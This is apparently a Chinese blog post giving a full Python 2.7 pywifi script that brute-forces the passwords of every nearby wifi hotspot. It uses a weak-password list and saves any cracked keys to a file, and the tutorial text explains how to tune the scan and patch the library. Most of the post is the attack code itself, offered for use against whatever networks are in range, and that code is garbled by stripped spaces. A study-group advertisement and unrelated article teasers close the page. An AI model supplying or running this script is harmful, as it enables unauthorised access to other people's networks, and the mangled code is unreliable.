Python尝试破解wifi无线密码

环境准备

python2.7

pywifi模块

字典

清除系统中的任何wifi连接记录

导入模块

这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。

frompywifiimport*

importtime

importsys

字典准备

随机搞的wifi弱口令TOP10

12345678

123456789

88888888

1234567890

00000000

87654321

66668888

11223344

147258369

11111111

配置扫描器

推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里

defmain():

#扫描时常

scantimes=3

#单个密码测试延迟

testtimes=15

output=sys.stdout

#结果文件保存路径

files="TestRes.txt"

#字典列表

keys=open(sys.argv[1],"r").readlines()

print"|KEYS%s"%(len(keys))

#实例化一个pywifi对象

wifi=PyWiFi()

#选择定一个网卡并赋值于iface

iface=wifi.interfaces()[0]

#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置

scanres=scans(iface,scantimes)

#统计附近被发现的热点数量

nums=len(scanres)

print"|SCAN GET%s"%(nums)

print"%s\n%-*s|%-*s|%-*s|%-*s|%-*s|%-*s%*s\n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)

#将每一个热点信息逐一进行测试

fori,xinenumerate(scanres):

#测试完毕后,成功的结果讲存储到files中

res=test(nums-i,iface,x,keys,output,testtimes)

ifres:

open(files,"a").write(res)

扫描周围热点

defscans(face,timeout):

#开始扫描

face.scan()

time.sleep(timeout)

#在若干秒后获取扫描结果

returnface.scan_results()

热点测试

这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。

deftest(i,face,x,key,stu,ts):

#显示对应网络名称,考虑到部分中文名啧显示bssid

showID=x.bssidiflen(x.ssid)>len(x.bssid)elsex.ssid

#迭代字典并进行爆破

forn,kinenumerate(key):

x.key=k.strip()

#移除所有热点配置

face.remove_all_network_profiles()

#讲封装好的目标尝试连接

face.connect(face.add_network_profile(x))

#初始化状态码,考虑到用0会发生些逻辑错误

code=10

t1=time.time()

#循环刷新状态,如果置为0则密码错误,如超时则进行下一个

whilecode!=0:

time.sleep(0.1)

code=face.status()

now=time.time()-t1

ifnow>ts:

break

stu.write("\r%-*s|%-*s|%s|%*.2fs|%-*s|%-*s%*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))

stu.flush()

ifcode==4:

face.disconnect()

return"%-*s|%s|%*s|%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)

returnFalse

案例

这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了

WIFIID热点的id号 每跑一个会减1

SSID OR BSSID热点的ssid名或mac地址

N对热点的连接状态,这个在

time当前所花去的时间

signal热点的信号强度,若小越好

KEYNUM测试密码的id 每跑一个会减1

KEY当前测试的密码

无论是学习任何一门语言,基础知识,就是基础功非常的重要,找一个有丰富编程经验的老师或者师兄带着你会少走很多弯路, 你的进步速度也会快很多,无论我们学习的目的是什么,不得不说Python真的是一门值得你付出时间去学习的优秀编程

语言。我有建立一个python学习交流群,在群里我们相互帮助,相互关心,相互分享内容,这样出问题帮助你的人就比较多,群号是304加上050最後799,这样就可以找到大神聚合的群,如果你只愿意别人帮助你,不愿意分享或者帮助别人,那就请不要加了,你把你会的告诉别人这是一种分享。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 121,747评论 17 134
  • 背景 一年多以前我在知乎上答了有关LeetCode的问题, 分享了一些自己做题目的经验。 张土汪:刷leetcod...
    土汪阅读 11,651评论 0 33
  • 打着招聘的幌子招收学员。 今天是新开学报名的日子,一大堆的杂事正等着做了。八点室友叫醒了所有人,因为...
    潮汐有信阅读 163评论 0 0
  • 投射自己今天比昨天在各个方面进步一点点,心态和状态进步一点点,爱自己多一点,早晨早起进步一点点,自己喜欢的事情坚持...
    刘娜_3e09阅读 41评论 0 2
  • 一、简介 像NSArray、NSSet、NSDictionary等集合类均可获取到NSEnumerator, 该类...
    KODIE阅读 2,674评论 0 5